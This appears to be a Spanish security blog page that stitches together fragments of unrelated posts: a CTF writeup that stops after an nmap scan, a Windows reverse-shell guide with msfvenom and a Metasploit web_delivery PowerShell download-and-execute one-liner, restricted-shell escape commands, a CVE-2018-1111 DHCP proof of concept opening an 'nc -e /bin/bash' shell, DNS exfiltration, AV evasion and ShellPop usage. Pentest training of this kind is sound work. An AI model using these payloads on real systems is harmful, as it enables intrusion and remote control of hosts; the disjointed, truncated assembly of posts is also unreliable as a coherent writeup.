Solución al reto 25 "born2root"

Despedimos la semana con el writeup del último reto, el 25, que nos regaló _Stuxnet y que ganó Borja Martínez (borjmz) por primera (y única) sangre. Se trataba de una máquina boot2root y, como veréis a continuación, era sencilla pero muy divertida:

Empezamos con el típico escaneo de todos los puertos de la máquina:
# nmap -sS -A -p- 192.168.1.229                                                                                             

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-18 11:44 CEST
Nmap scan report for 192.168.1.229
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.5p1 Ubuntu 10ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c1:12:f0:96:bc:af:f0:71:87:8a:af:ee:82:a8:1d:4b (RSA)
|   256 97:0d:aa:e7:4b:75:d8:3a:d7:65:3a:c9:d8:93:51:48 (ECDSA)
|_  256 7f:0c:66:c0:b4:56:5e:88:57:14:a1:5b:46:51:c8:bc (EdDSA)
80/tcp   open  http    Apache httpd 2.4.27 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Owasp CTF
5355/tcp open  llmnr?
MAC Address: 08:00:27:1C:CF:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 192.168.1.229

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6135.37 seconds

Los resultados muestran un puerto 80 abierto, así que vamos a ver de que aplicación web se trata:

http://192.168.1.229/

Colección de herramientas y técnicas para obtener shells reversas en Windows

En CTFs y/o plataformas de training la mayoría de las máquinas que encontramos son Linux y cuando conseguimos explotar una vulnerabilidad que nos permite ejecución remota de comandos el siguiente paso normalmente es obtener una shell reversa.

Sin embargo, en escenarios reales el porcentaje de máquinas con respecto a Windows se equipara o, al menos, se incrementa drásticamente el número de servidores al que tenemos que enfrentarnos. Por eso, también es muy importante tener un buen compendio de herramientas y técnicas para obtener shells reversas en Windows. Aquí os dejo un breve pero intenso resumen de la mayoría que he ido encontrando y que veremos (entre las más de 400 slides!) que tenemos preparados para el taller que impartiremos el próximo sábado en la Eastmadh4ck:

MsfVenom

Es el generador de payloads de Metasploit de facto. Ya sabéis, el reemplazo de msfpayload y msfencode y probablemente el más utilizado.
Por ejemplo, generamos el código para una shell reversa en aspx.
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f aspx > shell.aspx
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of aspx file: 2749 bytes

La subimos al servidor:
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
2785 bytes sent in 0.00 secs (20.2747 MB/s)

Ponemos el multihandler a la escucha:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.10.14.4
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Starting the payload handler...

Y al abrir el enlace...
http://10.10.10.5/shell.aspx

Obtenemos la shell correspondiente:
[*] Sending stage (956991 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.5:49157) at 2017-11-25 meterpreter > sysinfo
Computer        : DEVEL
OS              : Windows 7 (Build 7600).
Architecture    : x86
System Language : el_GR
Domain          : HTB
Logged On Users : 0
Meterpreter     : x86/windows

Metasploit Web Delivery

El Web Delivery de Metasploit es un módulo muy versátil que crea un servidor en la máquina del atacante que aloja el payload seleccionado. Digamos que nos ahorra realizar varios pasos de forma manual y es muy cómodo porque nos devuelve el comando de una sóla línea que debemos ejecutar en la víctima. Veamos por ejemplo un payload en powershell:
use exploit/multi/script/web_delivery
set TARGET 2 (powershell)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set URIPATH update
set LHOST 10.10.14.15
set LPORT 8082
exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.15:8082 
[*] Using URL: http://0.0.0.0:8081/update
[*] Local IP: http://10.10.14.15:8081/update
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://10.10.14.15:8081/update');

msf exploit(multi/script/web_delivery) > [*] 10.10.10.9       web_delivery - Delivering Payload
[*] Sending stage (205891 bytes) to 10.10.10.9
[*] Meterpreter session 1 opened (10.10.14.15:8082 -> 10.10.10.9:49618) at 2018-01-11 11:04:41 +0100

msf exploit(multi/script/web_delivery) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\IUSR @ BASTARD  10.10.14.15:8082 -> 10.10.10.9:49618 (10.10.10.9)

Técnicas para escapar de shells restringidas (restricted shells bypassing)

Recientemente, @n4ckhcker y @h4d3sw0rmen publicaron en exploit-db un breve pero útil paper para escapar de shells restringidas como rbash, rksh y rsh, ya sabéis, aquellas que bloquean algunos de comandos como cd, ls, echo, etc., restringen variables de entorno como SHELL, PATH, USER y a veces incluso comandos con / o las salidas de redireccionamiento como >, >>; todo ello para añadir una capa extra de seguridad para protegerse contra posibles atacantes, comandos peligrosos o simplemente como una prueba en un CTF. A continuación se listan la mayoría de las técnicas para bypassear estas shells restringidas:

Enumeración 
1) Primero debemos verificar si se pueden ejecutar comandos como cd/ls/echo, etc.
2) Debemos verificar si podemos usar operadores como >, >>, <, |.
3) Necesitamos verificar si están disponibles lenguajes de programación disponibles como perl, ruby, python, etc.
4) Qué comandos podemos ejecutar como root (sudo -l).
5) Comprobar si hay archivos o comandos con SUID.
6) Hay que verificar en qué shell estamos: echo $SHELL (normalmente en rbash)
7) Verificar las variables de entorno: ejecutar env o printenv

Técnicas de explotación normales
1) si "/" está permitido se puede ejecutar /bin/sh o /bin/bash.
2) si podemos ejecutar el comando cp podemos copiar /bin/sh o /bin/bash en el directorio.
3) ftp > !/bin/sh o !/bin/bash
4) gdb > !/bin/sh o !/bin/bash
5) more/man/less > !/bin/sh o !/bin/bash
6) vim > !/bin/sh o !/bin/bash
7) rvim > :python import os; os.system("/bin/bash )
8) scp > scp -S /path/yourscript x y:
9) awk > awk 'BEGIN {system("/bin/sh o /bin/bash")}'
10) find > find / -name test -exec /bin/sh o /bin/bash \;

Técnicas de lenguajes de programación
1) except > except spawn sh then sh.
2) python > python -c 'import os; os.system("/bin/sh")'
3) php > php -a then exec("sh -i");
4) perl > perl -e 'exec "/bin/sh";'
5) lua > os.execute('/bin/sh').
6) ruby > exec "/bin/sh"

Técnicas avanzadas:
1) ssh > ssh username@IP -t "/bin/sh" or "/bin/bash"
2) ssh2 > ssh username@IP -t "bash --noprofile"
3) ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
4) ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"127.0.0.1 (SUID)
5) git > git help status > luego puedes ejecutar !/bin/bash
6) pico > pico -s "/bin/bash" luego puedes escribir /bin/bash y pulsar CTRL + T
7) zip > zip /tmp/test.zip /tmp/test -T --unzip -command="sh -c /bin/bash"
8) tar > tar cf /dev/null testfile --checkpoint=1 --checkpoint -action=exec=/bin/bash

Prácticas y labs:
- https://www.root-me.org/en/Challenges/App-Script/Restricted-shells
- https://blog.mallardlabs.com/hackthebox-solidstate-writeup/
- http://blog.dornea.nu/2016/06/20/ringzer0-ctf-jail-escaping-bash/

Más info:
- https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
- https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells
- https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
- https://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/
- http://securebean.blogspot.com.es/2014/05/escaping-restricted-shell_3.html
- http://ud64.com/ask/61/escaping-bypass-from-jail-restricted-linux-shells

Reto 25: born2root warm up

Ya lo veníamos anunciando hace unas horas en nuestras redes sociales: César Calderón aka @_stuxnet ha preparado un reto de tipo boot2root, es decir, una máquina que debemos vulnerar para conseguir las flags de usuario (user.txt) y root (root.txt) y que podemos descargar ya desde:

https://drive.google.com/file/d/1nyJrnc5_lJMHa4-5yGqkaLLaCvPNZl42/view?usp=sharing

Y, como os decíamos también, el primero en conseguir la flag de root.txt, a parte de entrar en nuestro eterno hall de la fama, ganará el siguiente premio:

- una entrada para la conferencia EastMadH4ck que tendrá lugar en Arganda (Madrid) el próximo 26 de mayo y donde yo y kaoRz impartiremos un taller de pentesting precisamente orientado a resolver este tipo de retos boot2root.
- una camiseta y un welcome pack de la conferencia de Hackplayers (h-c0n) que tuvo lugar el pasado 2 y 3 de febrero y que, esperamos, se reedite con más fuerza si cabe el año siguiente.

La única condición para conseguir el premio, a parte de ser el primero por supuesto, es que el ganador ha de personarse el día 26 en la conferencia EastMadH4ck, de lo contrario el premio pasará al siguiente en mandarnos la flag y así sucesivamente.

La flag junto con el writeup correspondiente ha de enviarse a la dirección de correo hackplayers_at_ymail (Ymail con "y" griega).

Nota importanteLa manera de resolver estos retos 'boot2root' debe hacerse como si fuera una máquina remota atacando y explotando sus servicios expuestos. Otros métodos posibles al disponer de la imagen una máquina virtual (protegida o no) como acceder al filesystem en modo recovery, modificar el arranque o montar directamente los discos no son permitidas para este reto.

Agradecimientos a César y ánimo que la máquina es de nivel fácil (4/10 según su autor)!!

Vulnerabilidad crítica de RCE en los clientes DHCP de RHEL 6 y 7 (CVE-2018-1111)

Felix Wilhelm, un investigador de Google, descubrió recientemente una vulnerabilidad crítica en un script incluido en los paquetes del cliente DHCP (dhclient) en Red Hat Enterprise Linux 6 y 7 (y distribuciones derivadas). La vulnerabilidad, etiquetada con el CVE-2018-1111 y bautizada también como DynoRoot, podría permitir a un atacante ejecutar comandos arbitrarios con privilegios de root en los sistemas afectados.

Los scripts en concreto son los del componente NetworkManager /etc/NetworkManager/dispatcher.d/11-dhclient (en RHEL 7) y /etc/NetworkManager/dispatcher.d/10-dhclient (en RHEL 6), que se ejecutan cada vez que NetworkManager recibe una respuesta DHCP de un servidor DHCP. Y lo peor (o lo mejor según se mire) el PoC de su explotación cabe hasta en un tweet:

https://twitter.com/Barknkilic/status/996470756283486209


dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"


Podéis imaginar que un servidor DHCP malicioso, o un atacante en la red local capaz de falsificar respuestas DHCP, podría usar este bug para ejecutar comandos arbitrarios con privilegios de root en los sistemas que usan NetworkManager para obtener la configuración de red utilizando el protocolo DHCP.

De momento, a parte de RHEL 6.x y 7x, se han confirmado como vulnerables CentOS 6.x y 7.x, Fedora 26, 27, 28, Rawhide e incluso los sistemas ClearOS y Oracle Linux de HPE y el reciente Korora Linux.

¡Hora de parchear!

Fuente: https://access.redhat.com/security/vulnerabilities/3442151

DNSBin (ResquestBin.NET): ex-filtración de datos sobre DNS, sin tener que configurar ningún servidor DNS!

En una intrusión cuando encontramos una vulnerabilidad ciega (RCE, XXE, SQLi, etc.) para ex-filtrar información necesitamos de una conexión saliente. Sin embargo (al menos en entornos corporativos) estas conexiones suelen estar filtradas mediante firewalls y/o proxies. En tales casos y en muchas ocasiones se puede usar el protocolo DNS para filtrar datos puesto que las empresas no son tan restrictivas a la hora de limitar las consultas de resolución de nombres. Total... qué puede hacer una simple consulta DNS? };-)

Para conseguir recibir la información de las consultas DNS, el atacante tendrá que configurar un registro NS en un dominio y montar un servidor que esté a la "escucha" de las peticiones al puerto 53/UDP. Esto puede ser tedioso y más cuando se va a realizar sólo una prueba puntual o en una plataforma de training. Sin embargo, existe un portal en Internet llamado RequestBin.NET que no requiere ni registro ni autenticación y que en sólo unos segundos nos permite crear un servicio HTTP (HTTPBin) o DNS (DNSBin) para hacer este tipo de pruebas rápidamente.

En el caso de DNSBin que es el que no atañe en esta entra, se proporciona un subdominio que recopilará las solicitudes realizadas a través del protocolo dns y permite inspeccionarlos de una manera amigable. Sólo tenemos que pulsar el botón "Create a DNSBin" y se generará un subdominio para probar, por ej. *.09b38436c855d48a8912.d.requestbin.net:



Así que si hacemos una simple consulta veremos el resultado inmediatamente:


Evidentemente yo no usaría esta web en una auditoría para un cliente puesto que está en un servidor de terceros y no tenemos control sobre los logs, pero como decía puede ser bastante útil para training y, por qué no, para un atacante malintencionado que quiere ex-filtrar datos sin tener que montar una infraestructura, facilitándole así mucho el anonimato.

Pero hay más... podríamos montar también esta plataforma en nuestro propio servidor ya que la herramienta dnsbin es de código abierto:

https://github.com/HoLyVieR/dnsbin

Además, si os habéis fijado en la primera imagen de esta entrada, tenéis los comandos para enviar y recibir texto y ficheros con el cliente Python dnsbinclient.py. ¿Se puede pedir más?

Cómo seguir usando el shellcode de Metasploit y no morir en el intento (o ser matado por los AVs)

Como sabéis, el shellcode de Metasploit es muy pequeño por varias razones tácticas. Sin embargo esto hace también más difícil mejorarlo, y todos los antivirus lo tienen "a fuego" clasificado como malicioso. Wei Chen de Rapid7 le ha dado un par de vueltas a las posibilidades que existen para seguir usando el shellcode de Metasploit pero sin que sea detectado por los AVs más populares. Veamos...

Machine Learning

La mayoría de los motores de antivirus modernos funcionan con machine learning (en adelante ML), y este ha sido un gran cambio en el juego de la evasión AV. Los motores de AV no solo son mucho más inteligentes para detectar amenazas potenciales, sino que también responden mucho más rápido. Tan pronto como el comportamiento de su código tenga un aspecto demasiado malicioso, que puede ser tan simple como usar la API de Windows incorrecta (como WriteProcessMemory o incluso VirtualAlloc), uno de los controles de IA lo obtendrá y se acabó el juego. Además, los investigadores de malware obtienen rápido la copia del código, por lo que la evasión se presenta cada vez más y más difícil.

Windows Defender no es una excepción e implementa un cliente de ML que se ejecuta localmente en cada máquina. Las clasificaciones, como las firmas tradicionales, la detección de comportamiento, los genéricos, la heurística, etc. recogen el 97% del malware en el cliente según Microsoft. Usando estos clasificadores, el cliente de ML también recopila "características" del programa, lo que significa datos medibles o características del objeto escaneado. Con todo ésto y según su modelo de árbol de decisión toma un veredicto, y si no puede llegar a un uno definitivo, utiliza un servicio en la nube para un análisis más profundo.

Antimalware Scan Interface

Antimalware Scan Interface (AMSI) es una interfaz de programación creada por Microsoft que permite que cualquier aplicación de Windows aproveche el motor de Windows Defender y escanee en busca de entradas maliciosas, lo que hace que la evasión AV sea aún más difícil.

Esto es muy útil por ejemplo en Powershell, ya que los antivirus no hacen un gran trabajo al verificarlo en comparación con un ejecutable tradicional. También puede pasar una línea de código de Powershell como argumento para Powershell.exe, lo que es bastante sigiloso porque técnicamente no está tocando el disco. Por ejemplo:
powershell.exe -command "Write-Output [Convert]::FromBase64String('SGVsbG8gV29ybGQh')"

Atacando redes neuronales (ataques adversarios)

Una Red Neuronal Artificial (RNA) es un modelo matemático inspirado en el comportamiento biológico de las neuronas y en cómo se organizan formando la estructura del cerebro.

Últimamente están en auge, incorporándose a gran numero de aplicaciones, encomendándoles funciones tales como el reconocimiento facial, la conducción de vehículos autónomos de una manera muy óptima.

Esto abre una gran incógnita en mi biológica y retorcida red neuronal...O_o

¿Podemos hackear estos sistemas conexionistas?

Basta con navegar un poco por Internet para responder lo que en nuestras mentes era un si.

Hoy os propongo un ejercicio sencillo para salir de dudas, siempre desde la práctica.

El objetivo para nuestro pequeño lab : crear un una app de visión artificial, capaz de reconocer el objeto que contenga la foto que le pasemos..(un modelo pre-entrenado de Inception-v3)

Inception-v3 es un modelo de red neuronal convolucional que está capacitado para el gran desafío de Reconocimiento Visual con los datos de ImageNet 2012.

Es un estándar en visión artificial, donde los modelos intentan clasificar imágenes completas en 1000 clases , como "Zebra", "Dálmata" y "Lavavajillas". 
Por ejemplo, aquí están los resultados de AlexNet clasificando algunas imágenes:
 

Solución al reto 25 "la taberna del "Patito Modosito""


Los chic@s de Hackers4Fun CTF Team nos traen otro original reto de stegano. En el tweet ya dejan "caer" una pista "El reto trata de princesas que nos desvelarán un buen consejo...".

Manos a la obra

Hacemos clic en el enlace de google drive que nos deja en el tweet y obtenemos la siguiente imagen:


Nos la descargamos y empezamos analizarla, primer paso (cómo no!) "tiramos" de exiftool.

Podemos observar que no hay ninguna información que nos dé ninguna pista, por lo que procedemos analizar la imagen con Stegosolve.


Encontramos la primera pista, un Hash MD5!!

ShellPop: herramienta para generar fácilmente payloads para shells reversas y bind

A finales de año nuestro compi Luis Vacas publicó la herramienta ReverseShell escrita en Powershell para generar el comando en una sola línea para distintas shell reversas.

Hoy probamos su homónimo en Python: ShellPop de Andre Marques (zc00l) que nos puede ayudar de igual forma a obtener los comandos necesarios para obtener shells bind y reversas de una forma muy fácil.

A modo de resumen y para empezar me gustó especialmente que soporta UDP y también bind shells y, sobretodo, la opción --clip que directamente copia al portapapeles el comando generado.

Dependencias

Se requiere Python 2.x:

root@kali# apt-get install python-argcomplete -y

root@kali# pip install -r requirements.txt

Instalación

root@kali# python setup.py install

PD: después de la instalación, solo funcionará autocompletar después de reiniciar el terminal.

Ejemplos de uso

# shellpop --help
usage: shellpop [-h] [-l] [-H HOST] [-P PORT] [--number NUMBER]
                [--shell SHELL] [--reverse] [--bind] [--xor] [--base64]
                [--urlencode] [--handler] [--stager STAGER]
                [--http-port HTTP_PORT] [--clip]

Options:
  -h, --help            show this help message and exit
  -l, --list            List of available shells
  -H HOST, --host HOST  IP to be used in connectback (reverse) shells.
  -P PORT, --port PORT  Port to be used in reverse/bind shell code.
  --number NUMBER       Shell code index number
  --shell SHELL         Terminal shell to be used when decoding some encoding
                        scheme.
  --handler             Use handler, if possible.

Shell Types:
  --reverse             Victim communicates back to the attacking machine.
  --bind                Open up a listener on the victim machine.

Encoders Options:
  --xor                 Enable XOR obfuscation
  --base64              Encode command in base64.
  --urlencode           Encode the command in URL encoding.

Staging Options:
  --stager STAGER       Use staging for shells
  --http-port HTTP_PORT
                        HTTP staging port to be used

Miscellaneous:
  --clip                Copy payload to your clipboard automatically.

Pop shells like a master. For more help
visit:https://github.com/0x00-0x00/ShellPop